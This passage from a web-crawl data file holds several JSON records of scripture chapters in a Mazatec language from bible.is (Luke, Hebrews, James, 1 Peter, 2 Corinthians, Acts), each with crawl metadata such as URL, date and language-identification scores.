kjo̱meè bijchó hora nga ko̱ts'ia̱ jè na̱chrjein nìkjáya. 55Jñà íchjín xi tji̱ko̱ kóni nga inchrobà‑ne Galilea, kiìtji̱ngui‑la̱; kijtseèxkon nga̱jo̱ mik'en kó s'ín kisijna yijo‑la̱ Jesús. 56K'e̱ nga j'iì‑ne ni'ya‑la̱ tsibìtsa̱jnandaà xkiì xi 'ñó ndaà jne̱ ko̱ xkiì na̱'yo̱. I̱kjoàn kisìkjáya íchjín jè na̱chrjein nìkjáya, koni s'ín tíchja̱ kjo̱tíxoma.\nSan Lucas 23","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/23","date":"2013-12-05T09:02:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163042430\/warc\/CC-MAIN-20131204131722-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000054836273193}","num_words":1075,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga ti̱sa̱ kjòtseé, jè Nainá kjìn k'a kiìchja̱‑la̱ xi̱ta̱ jchínga‑ná nga jñà kisìkjeén xi̱ta̱ xi kiìchja̱ ngajo‑la̱, nga kjìn ska̱ya tjín‑ne kós'ín kiìchja̱‑la̱. 2Ta̱nga i̱'ndei̱, nga tífehet'aà na̱chrjein, Nainá, jè ki'ndí‑la̱ tísíkjeén nga tíchja̱ko̱‑ná ko̱ ti̱jè‑ne ki'ndí‑la̱ kisìkjeén nga tsibíndaà i̱sò'nde ko̱ jè kjònga̱tsja ngats'iì nga yije tsojmì xi tjín i̱sò'nde. 3Ko̱ jè Ki'ndí xi okó jè kjoa̱ i̱sén ko̱ kjoa̱ jeya‑la̱ Nainá; ko̱ i̱t'aà ts'e̱é 'ya‑ná kó kji kjoàn‑ne Nainá. I̱t'aà ts'e̱ nga'ñó xi tjín‑la̱ 'én‑la̱ Cristo síjnangui'ñó‑la̱ i̱sò'nde. K'e̱ nga jye kitsjaà kjo̱tjò yijo‑la̱ nga kisìtsjeè‑ná jé‑ná, i̱kjoàn tsijin ngajmiì nga tsibìjnat'aà chrja kixi̱‑la̱ Nainá. 4Nga jè Ki'ndí‑la̱ Nainá tíjna ítjòn; ìsa̱á 'ñó 'nga tíjna mì k'oa̱‑ne koni jñà àkja̱le̱, koií kjoa̱‑la̱ nga ìsa̱á 'ñó 'nga tíjna jè 'ín xi kitjoé‑la̱. 5Nga jè Nainá, ni̱jngoò k'a k'oa̱s'ín kitsò jngoò‑la̱ àkja̱le̱: Ji̱‑né xi ki'ndí‑na̱ xan‑lè, 'a̱n‑ná Na̱'èn‑lè. Ti̱koa̱á ni̱jngoò àkja̱le̱ xi kitsò‑la̱: 'A̱án ko̱ma Na̱'èn‑la̱, jè ko̱ma ki'ndí‑na̱. 6K'e̱ nga kisìkasén ki'ndítjòn‑la̱ i̱ i̱sò'nde ti̱koa̱á k'oa̱á s'ín kitsò: Ngats'iì àkja̱le̱‑na̱ kàteèxkón. 7I̱t'aà ts'e̱ àkja̱le̱, k'oa̱á tsò: Nainá, maá‑la̱ tjo̱ s'ín àkja̱le̱‑la̱; jñà chi̱'nda‑la̱ maá‑la̱ ni'ín s'ín. 8Ta̱nga i̱t'aà ts'e̱ ki'ndí‑la̱ tsò‑né: Ji̱‑né xi Nainá, kixi̱í ko̱ti̱xomai ni̱ta̱ kjé‑né. 9Matsjacha‑né kjoa̱ xi ndaà tjín ko̱ majticha‑né kjoa̱ xi ch'o tjín; koií kjoa̱‑la̱, 'a̱n xi Nainá 'mì‑na̱ xó jaàjiìn‑lè nga ìsa̱ ndaà jcha̱xkón‑lè mé‑ne nga ìsa̱ tse kjo̱tsja s'e̱‑lè koni jñà xi̱ta̱ xingui̱i xi báhijtako̱‑lè. 10Ti̱koa̱á tsò‑né: Ji̱ Na̱'èn xi Nainá 'mì‑lè nga ji̱ otìxomai, nga sa̱ tàts'en‑la̱ kjoa̱, ji̱í tsibìndiì i̱sò'nde, ti̱ji̱í‑ne xi tsibìndiì ngajmiì. 11Ngaji̱ ki̱jna‑né ni̱ta̱ mé na̱chrjein‑ne. Ta̱nga jè i̱sò'nde ko̱ ngajmiì kjoe̱het'aà‑né; k'oa̱á s'ín ko̱jchá koni ma nikje nga ma jchínga. 12K'oa̱á s'ín kíxkóyi koni jngoò x'ió, k'oa̱á s'ín si̱kjatjìyi koni s'ín fatjìya nikje. Ta̱nga ngaji̱ mì kì kjoa̱tjìya‑lè ni̱ta̱ kjé‑ne ko̱ jñà na̱chrjein‑lè mìkiì kjoe̱het'aà. 13Nainá ni̱ saà jngoò k'a kitsò‑la̱ jngoò àkja̱le̱‑la̱: Ti̱jnat'eiì chrja kixi̱‑na̱ skanda k'e̱ nga sìkíjnanguia kondra̱‑lè ya̱ ñánda nga nchasòn ndso̱koiì. 14Ngats'iì àkja̱le̱, ini̱ma̱‑né nga síxá‑la̱ Nainá; jñà nìkasén nga síchját'aà‑la̱ jñà xi̱ta̱ xi tjoé‑la̱ kjo̱ndaà nga bitjokàjiìn kjo̱'in kjoa̱ ts'e̱ jé‑la̱.\nHebreos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/1","date":"2013-12-11T16:45:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164039245\/warc\/CC-MAIN-20131204133359-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":333,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè, i̱t'aà tsa̱jòn, kì kjìn ma‑ne xi maestro ma. Jyeé 'ya nga ngaje̱n xi okoòya‑je̱n, tsà mé kjoa̱ xi ch'o 'nè‑je̱n, ìsa̱á tse kjo̱'in si̱nè‑naje̱n. 2Ngats'iì‑ná, kjìn ska̱ya kjoa̱ch'o xi 'né, ta̱nga jngoò xi̱ta̱ xi mì ch'o tsò 'én xi chja̱, jè‑né xi nguì xi̱ta̱ kixi̱, xi komà‑la̱ ko̱tìxoma yije‑la̱ yijo‑la̱. 3K'oa̱á ngaya‑la̱ koni kohòyo̱ xi si'a freno tso'ba mé‑ne nga si̱ìkitasòn‑ne koni s'ín mejèn‑ná nga kjoi̱, k'oa̱á s'ín ma'nchré yije yijo‑la̱. 4K'oa̱á ti̱s'ín tjín koni s'ín síxá jñà chitso, na̱s'ín tákó i'í kjoàn, ko̱ na̱s'ín ta̱kó 'ñó 'ba tjo̱ xi fàhitje̱n, jè xi̱ta̱ xi síxáko̱ na̱s'ín jtobá kji yá xi 'mì timón xi síxáko̱, maá fàhitje̱n nga fìko̱ ni̱ta̱ kós'ín mejèn‑la̱ nga kji̱ko̱. 5K'oa̱á ti̱s'ín ma xi kjoa̱ ts'e̱ ni̱je̱n‑ná. Tà yijo jtobá kji, ta̱nga 'ñó 'nga chja̱ ni̱ta̱ mé kjoa̱‑ne. K'oa̱á ngaya‑la̱ koni jngoò ni'ín xi i̱tsé kji, ko̱maá ko̱kángui ijñá na̱s'ín ta̱kó tse ma. 6Ni̱je̱n‑ná k'oa̱á ngaya‑la̱ koni jngoò ni'ín, ya̱á tjí'a yije ngats'iì 'én ch'o xi tjín i̱sò'nde xi ma‑la̱ síkits'ón yije yijo‑ná. Jè ni'ín xi tjín ya̱ i̱'nde ts'e̱ kjo̱'in ñánda 'mì infierno, jè bít'a'í‑la̱ ni̱je̱n‑ná nga chja̱ 'én xi ch'o tsò xi ko̱ma‑la̱ ko̱kà‑ná koni tjín na̱chrjein ki̱tsa̱jnakoaán. 7Ngats'iì cho̱ xi tjín i̱ i̱sò'nde ma ma'nchré, koni jñà cho̱ xi tjín i̱jiìn ijñá, ko̱ xi tjímajiìn i̱sén, ko̱ jñà cho̱ xi nangui bífejno yijo‑la̱ ko̱ jñà xi tjín i̱jiìn ndáchikon, jñà xi̱ta̱ ma‑la̱ sí'nchré. 8Ta̱nga ni̱jngoò xi̱ta̱ xi ma‑la̱ sí'nchré ni̱je̱n‑la̱. Nga jè ni̱je̱n‑ná jngoò kjoa̱ ch'o tjín‑la̱ xi mìkiì tsjá'nde nga ma'nchré. Ya̱á tjí'a koni xán kjan‑la̱ ye̱ xi ma‑la̱ sík'en‑ná. 9Ti̱jè‑ne ni̱je̱n‑ná jeya síkíjna Nainá xi Na̱'èn‑ná, ko̱ ti̱jè‑ne nokjoà'on‑koa̱á xi̱ta̱ xi ko̱s'ín kisindaà koni kji Nainá. 10Ti̱jè‑ne ndso̱baá bitjo‑ne 'én xi jeya síkíjna Nainá ko̱ ti̱jè bitjo‑ne xi nokjoà'on‑koa̱á xi̱ta̱. Ndí 'ndsè, mìkiì ndaà tjín kjoa̱ koi. 11Jngoò nga̱jo̱ ñánda tíbitjo nandá, mìkiì ko̱ma ki̱tjo nandá jnchra koa̱ ki̱tjo nandá ndaà. 12Jñà yá toò iko̱, ¿a ko̱maá ko̱ja̱‑la̱ toò xi 'mì aceituna? Jè yá uva, ¿a ko̱maá ko̱ja̱‑la̱ toò iko̱? Jñò ndí 'ndsè k'oa̱á ti̱s'ín tjín kjoa̱ ts'e̱ nandá, jngoò nga̱jo̱ mìkiì ko̱ma ki̱tjo nandá jnchra ko̱ ki̱tjo nandá ndaà. 13Jñà xi̱ta̱ xinguio̱o, tsà tjín i'nga xi tjín‑la̱ kjoa̱ chji̱ne̱ ko̱ xi ndaà fìya‑la̱, kàtakó kjoa̱chji̱ne̱‑la̱ nga indaà ikon tísíjchá yijo‑la̱. 14Jñò, tsà biì'nde‑la̱à yijo‑nò nga kjoa̱xìtakòn si̱jiìn ini̱ma̱‑nò nga mejèn‑nò nga jñò ki̱tsa̱jna ítjòn‑là xinguio̱o, kì k'oa̱á s'ín nokjoà nga ndaà titsa̱'nè; kì 'én ndiso nokjoà nga kondra̱ onguí‑là kjoa̱ kixi̱‑la̱ Nainá. 15Kjoa̱ chji̱ne̱ jè, mìtsà i̱t'aà ts'e̱ Nainá nchrobá‑ne. Kjoa̱ chji̱ne̱ ts'e̱ i̱sò'nde‑né. Kjo̱hítsjeèn ts'e̱ xi̱ta̱‑né, ko̱ ti̱ ts'e̱é‑ne xi̱ta̱ nei̱í. 16K'e̱ nga maxìtakòn‑chaá xinguia̱á ko̱ nga mejèn‑ná nga jñá ki̱tsa̱jna ítjòn‑laà, ya̱á sakó‑ná kjoa̱siì, ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde. 17Ta̱nga jñà xi̱ta̱ xi tjín‑la̱ kjoa̱ chji̱ne̱ xi i̱t'aà ts'e̱ Nainá nchrobá‑ne, tsjeè síjchá yijo‑la̱, kjoa̱'nchán ótsji, tjín‑la̱ kjo̱ndaà, xi̱ta̱ 'nchré‑né, tjín‑la̱ kjo̱hi̱ma̱takòn, ndaà tjín xá xi s'ín, mì jò fì‑ne, ko̱ 'én kixi̱í chja̱. 18Jè xi̱ta̱ xi mejèn‑la̱ nga s'e̱ kjoa̱'nchán, 'nchán bìjnako̱ xi̱ta̱ xi i'nga mé‑ne nga ma i̱skan sa̱kò‑la̱ kjo̱ndaà xi kixi̱ tjín.\nJacobo 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jas\/3","date":"2013-12-08T21:15:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163816314\/warc\/CC-MAIN-20131204133016-00066-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":501,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7Jè kjoa̱ makjiín‑najiòn, 'koa̱á 'sín ngoya‑la̱ koni tsa ki̱cha̱ sinè, tjíné‑la̱ nga ni'í tjá'ta‑ni mé‑ni nga jcha̱‑la̱ kó'ki chjí‑la̱. Tsa chíkjoa̱‑la̱ ni̱'sín ta mé kjoa̱ ra ko̱tojin, isa̱á ta 'ñó chjí‑la̱ koni tsa jè ki̱cha̱ sinè ra bijchó ni̱chjin‑la̱ nga fe. 'Koa̱á 'sín tjín, 'kia̱ nga ijye tjá'ta kjoa̱ ra makjiín‑najiòn, machjeén‑la̱ nga nda ki̱tjongi, nga jeya kíjna, ko̱ nga jcha̱xkón 'kia̱ nga kj'i̱í india‑ni Jesucristo.\n1 Pedro 1:7\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/7","date":"2013-12-07T14:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054576\/warc\/CC-MAIN-20131204131734-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 0.9999910593032837}","num_words":70,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaje̱n, xi Nainá nìxát'aà‑la̱je̱n, bítsi'ba‑nòje̱n, kjo̱ndaà xi tsjá‑nò Nainá, ndaà ti̱kjeén. 2Nga jè Nainá, k'oa̱á tsò: Ki'nchrè‑lè k'e̱ nga ndaà chi̱ba̱‑la̱ kjòchjeén‑lè kjo̱ndaà‑na̱, tsohósi̱ko̱ó‑lè, jè na̱chrjein k'e̱ nga tíchiñá‑la nga ki̱tjojiìn kjo̱'in. I̱'ndei̱, jñò, ndaà ti̱ná'yaà. Jyeé ijchò na̱chrjein ts'e̱ kjo̱ndaà‑la̱ Nainá nga kítjokàjñoò kjo̱'in. 3Ni̱mé kjoa̱ xi ch'o 'nè‑je̱n xi síkits'ón‑jiìn‑la̱ xi̱ta̱ xi kj'ei̱í, mé‑ne jè xá‑la̱ Nainá xi ji̱n titsa̱'nè‑je̱n mì yá xi ch'o ki̱chja̱jno‑la̱. 4Ni̱ta̱ mé kjoa̱ xi 'nè‑je̱n, ndaá onguíko̱‑je̱n yijo‑naje̱n mé‑ne jñà xi̱ta̱ skoe̱‑ne nga chi̱'nda‑la̱ Nainá 'mì‑naje̱n, nga 'ñó tjín‑naje̱n kjoa̱tsetakòn, 'ñó ndaà chíkjoa̱ko̱‑naje̱n kjoa̱ ts'e̱ kjo̱'in, ko̱ tíchijat'aà‑naje̱n mé tsojmì xi ko̱chjeén‑naje̱n, koa̱ chjá tíma‑naje̱n kjoa̱ xi tíhotojiìn‑je̱n, 5nga tísat'é‑naje̱n, nga nda̱yá tínìkjas'en‑naje̱n, nga ngaje̱n binchaàtsji‑la̱je̱n kjoa̱siì na̱xa̱ndá, nga 'ñó nìxá‑je̱n, ko̱ mìkiì tsafé‑je̱n, skanda bìtsa̱jna kjinchrá‑náje̱n. 6Ta̱nga nguì tsjeé titsa̱nìjchá‑je̱n yijo‑naje̱n; ndaá machi̱ya‑naje̱n ni̱ta̱ mé kjoa̱‑ne; tjín‑naje̱n kjoa̱tsetakòn ko̱ kjo̱ndaà i̱t'aà ts'e̱ xi̱ta̱; ko̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá tísíxájiìn ini̱ma̱‑naje̱n; ko̱ nguì ko̱ó ini̱ma̱‑naje̱n nga tjín‑naje̱n kjoa̱tjòcha. 7Bèno̱jmí‑je̱n 'én xi kixi̱ tjín. Tjín‑naje̱n nga'ñó‑la̱ Nainá. Jñà kjoa̱ kixi̱ xi 'nè‑je̱n, k'oa̱á ngaya‑la̱ koni jñà ki̱cha̱ xi ko̱ ngaskón ko̱ kixi̱ mochjeén. 8Tjín xi̱ta̱ xi beèxkón‑naje̱n, ti̱koa̱ tjín xi mìkiì beèxkón‑naje̱n. Sakoa̱á ndaà chja̱ i̱t'aà tsa̱je̱n, sakoa̱á majìn. Tjín i'nga xi xi̱ta̱ ndiso tsò‑naje̱n ta̱nga ngaje̱n 'én kixi̱í nokjoá‑je̱n. 9Tjín i'nga xi k'oa̱s'ín síko̱‑naje̱n koni tsà mìkiì beèxkon‑naje̱n, ta̱nga tjín xi beèxkon‑naje̱n. K'oa̱á s'ín beèhikon‑naje̱n koni tsà jyeé k'en‑je̱n, ta̱nga titsa̱jnakon‑náje̱n. Tsjá‑naje̱n kjo̱'in jñà xi̱ta̱ ta̱nga mìkiì biyaà‑je̱n. 10K'oa̱á s'ín ko'an‑naje̱n koni tsà ba tjín‑naje̱n, ta̱nga ngaje̱n tsja tjín‑naje̱n. Tsò‑naje̱n nga xi̱ta̱ i̱ma̱‑né, ta̱nga i̱t'aà tsa̱je̱n, kjìn jchán xi̱ta̱ tísakó‑la̱ kjo̱ndaà ts'e̱ ini̱ma̱‑la̱. Ni̱mé xi tjín‑naje̱n, ta̱nga nguixko̱n Nainá, tjín yijeé‑naje̱n ni̱ta̱ mé‑ne. 11Jñò 'ndseé xi Corinto tsa̱jòn, jyeé kinokjoà kixi̱‑nòje̱n; nguì ko̱ó ini̱ma̱‑na̱je̱n matsjacha‑nòje̱n. 12Ngaje̱n, mìtsà bìxkon‑nòje̱n kó tsò kjo̱hítsjeèn‑la̱ ini̱ma̱‑naje̱n, jñò‑nó xi bìxkoòn kó tsò kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò. 13K'oa̱á s'ín chjà‑nò koni tsà i̱xti‑na̱ xan‑nò, jñò, k'oa̱á ti̱s'ín t'e̱en koni s'ín 'nè‑je̱n, nga ko̱ ini̱ma̱‑nò ti̱tsjacha‑náje̱n. 14Jñò, xi mokjeiín‑nò i̱t'aà ts'e̱ Cristo, kì jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ nìngásòn‑ko̱ kjo̱hítsjeèn‑nò. ¿A ko̱maá ko̱ngásòn‑ko̱ jngoò xi̱ta̱ xi tjín‑la̱ o̱kixi̱ ko̱ jngoò xi tsjìn‑la̱ o̱kixi̱‑la̱ Nainá? ¿A ko̱maá ya̱ ki̱tsa̱jnajñaá ñánda jñò choòn nga tjín kjoa̱ iseèn? 15¿A ko̱maá ndaà kji̱ko̱ xíkjín, jè Cristo ko̱ xi̱ta̱ nei̱í? Ti̱koa̱á mìkiì ko̱ma ndaà kji̱ko̱ xíkjín jngoò xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo ko̱ jngoò xi mìkiì mokjeiín‑la̱. 16Mìkiì ko̱ma ya̱ sijnaya ni'ya i̱ngo̱‑la̱ Nainá jñà xkósòn xi nainá tsò‑la̱ xi̱ta̱. Nga jñá‑ná xi 'mì‑ná ni'ya i̱ngo̱‑la̱ Nainá xi tíjnakon. Koni s'ín kitsò Nainá i̱t'aà ts'e̱ xi̱ta̱ xi mokjeiín‑la̱, tsò‑né: 'A̱n, ya̱á kóti̱jnakoa̱a na̱xa̱ndá‑na̱, ti̱koa̱á ya̱á ko̱jmejiìn‑la̱. 'A̱n‑ná xi Nainá ki̱tso̱‑na̱ koa̱ jñà ko̱ma xi̱ta̱ na̱xa̱ndá‑na̱. 17Nainá k'oa̱á kitsò nga kiìchja̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱: Tìtjo̱kàjiìn‑là jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'a̱n, koa̱ ti̱nchat'aàxìn‑là. Ni̱mé kjoa̱ chingàjñoò xi tjé tjín nga nguixkoaàn, mé‑ne nga 'a̱n ko̱ma skoétjò‑nò. 18'A̱n‑ná xi skoétjò‑nò koni jngoò Na̱'èn, jñò ko̱ma ndí i̱xti x'i̱n‑na̱ ko̱ ndí i̱xti íchjín‑na̱, k'oa̱á tsò Na̱'èn‑ná xi ta jè ta̱jngoò xi 'ñó tse nga'ñó tjín‑la̱.\n2 Corintios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/6","date":"2013-12-10T02:34:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164004946\/warc\/CC-MAIN-20131204133324-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000016689300537}","num_words":487,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngo ni̱chjin, ijchó‑la tsa las tres nga ngixòn 'kia̱ nga chja̱'ta‑la̱ Nainá jñà xi̱ta̱, jè Pedro ko̱ Juan ya̱á kijì ya̱ a̱ya i̱ngo̱ ítjòn 'tse̱ xi̱ta̱ judío. 2Ya̱ xo̱tjo̱ba̱‑la̱ i̱ngo̱ ítjòn, jñà xi̱ta̱, ni̱chjin nchijòn bijchó síkíjna jngo ndí xi̱ta̱ i̱ma̱ ra mì kì ma fì. Jè ndí xi̱ta̱ i̱ma̱ ra̱kìi̱, mì kì ma fì skanda nga ti̱'sa̱ kitsin. Ya̱á bijnajto ki'tà ya̱ xo̱tjo̱ba̱‑la̱ i̱ngo̱, jè xo̱tjo̱ba̱ ra 'mì: Jè ra 'ñó nda 'ki. Jè ndí xi̱ta̱ i̱ma̱ ra̱kìi̱, to̱ón síjé kjo̱tjò‑la̱ jñà xi̱ta̱ ra 'faha'sen ndi̱tsin i̱ngo̱. 3Jè ndí xi̱ta̱ i̱ma̱ ra̱kìi̱, 'kia̱ nga kijtse jè Pedro ko̱ Juan nga i̱nchi'faha'sen ndi̱tsin i̱ngo̱, isíjé kjo̱tjó‑la̱ to̱n. 4Jè Pedro ko̱ Juan, isko'án jè ndí xi̱ta̱ ra̱kìi̱; jè Pedro kitsó‑la̱: ―¡Chjí'an‑náji̱n! 5Jè ndí xi̱ta̱ i̱ma̱ isko'án‑ní; ko̱ 'koa̱á 'sín kjomà‑la̱ koni tsa tjín ra tsjá‑la̱. 6Tanga jè Pedro kitsó‑la̱: ―Ni̱mé to̱n tjín‑na; tsìn‑na to̱n jè ra chroba ko̱ ra sinè, tanga jè ra tjín‑na tsja‑la: ngi ko̱ó nga'ñó ra kitsjà‑na Jesucristo ra Nazaret i̱'nde‑la̱, 'koa̱á 'sín xin‑la, ti̱sítji̱in, ko̱ ti̱tjájme‑ni. 7Jè Pedro, 'kia̱ nga ko̱ kitsò‑la̱, iskábé tsja nga kixi̱, iskimítje̱n; ndi̱to̱ón ki'se‑ila̱ nga'ñó jñà yá ndsa̱ko̱ ko̱ tsji ndsa̱ko̱. 8Jngoó iskì'nga nga tsasítje̱n‑ni; a̱kjòn tsikí'tsia̱ nga ma tsajme‑ni; 'jaha'sen‑ko̱ ndi̱tsin i̱ngo̱ jè Pedro ko̱ Juan, kji'nga kjitsiña nga isitsjako̱ Nainá nga jeya isíkíjna. 9Nga'tsì xi̱ta̱ na̱xi̱ndá kijtseé jè xi̱ta̱ ra̱kìi̱ nga ijye ma fì‑ni ko̱ nga jeya isíkíjna jè Nainá. 10Ta kjóxkón‑la̱ xi̱ta̱, ti̱'koa̱á tà itsakjón‑ní koni 'sín nga kjomà'tin, nga̱ bexkon‑ní nga jé xi̱ta̱ ra̱kìi̱ ra bijnajto ki'ta ya̱ xo̱tjo̱ba̱‑la̱ i̱ngo̱ nga síjé kjo̱tjò to̱n, xo̱tjo̱ba̱ ra 'mì: Jè ra 'ñó nda 'ki. 11Jè xi̱ta̱ ra ijye kjonda‑ni, mì kì tsjin Pedro ko̱ Juan nga itsabá'ñó. Nga'tsì xi̱ta̱ na̱xi̱ndá tà 'koa̱á kjomà‑la̱; ngi tsahachikon‑ní nga kijìtji̱ngi‑la̱ jñà xi̱ta̱ ya̱ ngitjo̱ba̱ ra 'mì Salomón. 12Jè Pedro, 'kia̱ nga kijtse xi̱ta̱ na̱xi̱ndá, kitsó‑la̱: ―Nga'tsì‑no ra xi̱ta̱ Israel 'mì‑ná, ¿mé‑ni nga maxkón‑no? ¿Mé‑ni ngaji̱n chi'án‑náji̱n? ¿A 'koa̱á 'sín níkítsjen jiòn nga nga'ñó tsa̱ji̱n‑náji̱n ko̱ tsa kjo̱nda tsa̱ji̱n‑náji̱n ra kamanda‑ni ndí xi̱ta̱ i̱ma̱ ra̱kìi̱ jè ra mì kì ma fì tsiki? 13Jè ra Nainá‑la̱ ma jè Abraham, ko̱ jè Isaac, ko̱ jè Jacob ra ti̱'koa̱ Nainá‑la̱ xi̱ta̱ jchínga‑ná, jé ra jeya kásíkíjna Jesús ra I'ndí‑la̱ ma; jè Jesús ra jiòn inìnga̱tsja xi̱ta̱xá, 'kia̱ nga jè Pilato mejèn‑la̱ isíkíjnandi̱í‑ni, tanga jiòn, mì kì ki'tsì'nde. 14Jiòn, ta isa̱á inachrjengio jè ra Xi̱ta̱ Tsje ko̱ ra Xi̱ta̱ Kixi̱; ko̱ jé iníjé nga isijnandi̱í‑ni jè ra xi̱ta̱ isì'ken. 15Jión ini'ken jè ra ma‑la̱ síkíjnakon‑ná tanga jè Nainá isikjaáya‑la̱. Nga'tsì jñà kjoa̱ kìi̱, nda kjón kijcha‑ji̱n. 16Jé Jesús kátsjá‑la̱ nga'ñó nga kamanda‑ni jè xi̱ta̱ ra i̱nchi'ya jiòn ra ti̱'koa̱ 'yaxkon jiòn; tanga kií‑ní nga 'ñó makjiín‑la̱ ra a̱'ta 'tse̱ Jesús. Kií‑te nga ti̱'koa̱ 'ñó makjiín‑naji̱n nga kamanda‑ni jè xi̱ta̱ ra̱kìi̱; ko̱ ndaá ka'ya jiòn ra i̱ titsa̱jna kó'sín koma. 17'Jiòn 'ndsé, be‑ná 'kia̱ nga ko̱'sín ki'nià jiòn ko̱ xi̱ta̱xá‑no, nga ini'ken jè Jesús, kií ko̱'sín ki'nià‑no nga mì kì machi̱ya‑no kjoa̱ ra ki'nià. 18Jè Nainá, 'koa̱á 'sín isìhitjasòn koni 'sín ijye tsi'kéna̱jmíya nga'tsì xi̱ta̱ ra kiìchja̱ ngajo‑la̱ kjotseé nga jè Cristo [jè ra xá isìkasén‑ni Nainá], 'koa̱á 'sín tjínè‑la̱ nga ki̱yá. 19Kií ko̱'mì‑laji̱n, ti̱kájno jè jé‑no, kì ti̱ tsja jé fatsji‑no; jè Nainá tangí'ta‑la mé‑ni nga si̱hijcha'ta‑no jè jé ra tjín‑no ko̱ a̱kjòn tsjá‑no kjo̱'nchán ra chija‑la̱ inìma̱‑no, 20mé‑ni nga ma si̱ìkasén‑no jè Cristo ra ijye Nainá ko̱'sín tsjahíjin nga ti̱'sa̱‑ni, ra ti̱jè‑ni Jesús. 21Jè Cristo ya̱á kíjna ján ngajmi skanda 'kia̱ nga jè Nainá si̱ìxi̱tse̱ya india‑ni nga'tsì kjoa̱ ra tjín. Nga̱ 'koa̱á 'sín tsi'kéna̱jmí skanda ti̱'sa̱‑ni kjotseé jñà xi̱ta̱ tsje‑la̱ Nainá ra ko̱'sín kiìchja̱ ngajo‑la̱. 22Jè Moisés, 'koa̱á 'sín kitsò‑la̱ jñà xi̱ta̱ jchínga‑ná: \"Jè Na̱'ín‑ná jè ra Nainá, ti̱ya̱á ko̱chrjekàjin jngo‑ni ra xi̱ta̱ xàngio̱o jè ra ki̱chja̱ ngajo‑la̱ Nainá koni 'a̱n. Jé ti̱hitjasòn‑la koni 'sín koa̱ako̱‑no ko̱ nga'tsì kjoa̱ ra 'ke̱èna̱jmí‑no. 23Nga̱ nga'tsì xi̱ta̱ ra mì kì kji̱'nchréhijon‑la̱, jngo‑kjá tjáhixìn‑ní ya̱ a̱jin na̱xi̱ndá 'tse̱.\" 24'Nga'tsì xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá, ma'tsia̱ kjòn‑ni 'tse̱ Samuel skanda 'ndi̱ 'ndi̱, sabà kií 'én tsi'kéna̱jmí mé kjoa̱ ra tíma ni̱chjin 'ndi̱. 25A̱'ta tsa̱jión ki̱tjasòn‑ni jñà 'én ra ijye kitsjà‑la̱ Nainá jñà xi̱ta̱ ra isìchjeén nga kiìchja̱ ngajo‑la̱. Ti̱'koa̱á kjo̱nda tsa̱jión‑nó koni 'sín tsikíndajín jngo kjoa̱ Nainá ko̱ xi̱ta̱ jchínga‑ná 'kia̱ nga kitsò‑la̱ Abraham: \"A̱'ta 'tse̱é tje̱‑li ko̱chikon'tin‑ni nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde.\" 26Jè Nainá, 'kia̱ nga ijye isikjaáya‑ila̱ I'ndí‑la̱, jión isìkasén ítjòn‑no mé‑nì nga isìchikon'tin‑no nga ko̱ma kjoa̱atjìya‑no nga jngó jngó‑no ti̱'koa̱ mì ti̱ kì 'cho 'sia̱n‑no ―kitsò Pedro.\nHechos 